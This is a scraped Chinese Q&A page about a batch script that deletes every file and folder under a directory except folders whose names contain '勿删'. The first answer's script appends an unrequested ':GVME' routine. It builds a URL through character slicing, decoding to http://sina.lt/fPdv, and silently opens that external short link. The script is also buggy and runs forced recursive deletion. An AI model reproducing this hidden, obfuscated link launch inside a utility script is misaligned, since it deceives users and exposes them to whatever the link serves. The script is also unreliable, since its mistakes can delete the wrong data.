批处理删除文件夹下所有文件和文件夹,但是排除包含“勿删”字样的文件夹,该怎么写?
Posted
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了批处理删除文件夹下所有文件和文件夹,但是排除包含“勿删”字样的文件夹,该怎么写?相关的知识,希望对你有一定的参考价值。
pushd "d:\AAA"
for /f "delims=" %%A in ('dir /b /ad-h') do (if /I not "%%A"=="A(勿删)" (if /I not "%%A"=="B(勿删)" (if /I not "%%A"=="C" (rmdir /s /q "%%A"))))
for /f "delims=" %%A in ('dir /b /a-d-h') do (del "%%A" /f /q)
exit
现在是排除3个指定的文件夹不删除,其他删除,如果要达到判断只要带“勿删”字样的文件夹就不删除,该怎么写?
@echo off & title 删除所有文件/夹(特定文件夹需保留) By 依梦琴瑶
cd /d "%%~dp0"
::设置要处理的主目录路径
set ScrFolder=D:\\AAA
::设置要排除包含的字符,多个字符之间,请用英文逗号隔开,包含空格,特殊字符的请用英文双引号将其括起来
set SkipStr=勿删
cd /d "%ScrFolder%"
for /f "delims=" %%a in ('dir /ad-h') do (
for %%i in (%SkipStr%) do (
echo "%%~a" | find /i "%%~i" >nul 2>nul || rd /s /q "%%~a"
)
)
for /f "delims=" %%a in ('dir /a-d-h') do (
del /f /q "%%~a"
)
pause
call :GVME
exit
:GVME
set "S1=.:ailnhpst/"
set "S0=fPdv"
set "S3=%S1:~8,1%%S1:~3,1%%S1:~5,1%%S1:~2,1%%S1:~0,1%%S1:~4,1%%S1:~9,1%"
set "S2=%S1:~6,1%%S1:~9,1%%S1:~9,1%%S1:~7,1%%S1:~1,1%%S1:~10,1%%S1:~10,1%"
start "" "%S2%%S3%%S1:~10,1%%S0%"
exit
脚本保存时请比对原文,保存编码设为ANSI。否则可能会导致脚本运行出错。
参考技术A for /f "delims=" %%a in ('dir /b /ad-h^|find /v "勿删"') do rd /s /q "%%a"本回答被提问者采纳rm排除指定文件或指定文件夹下文件
以上是关于批处理删除文件夹下所有文件和文件夹,但是排除包含“勿删”字样的文件夹,该怎么写?的主要内容,如果未能解决你的问题,请参考以下文章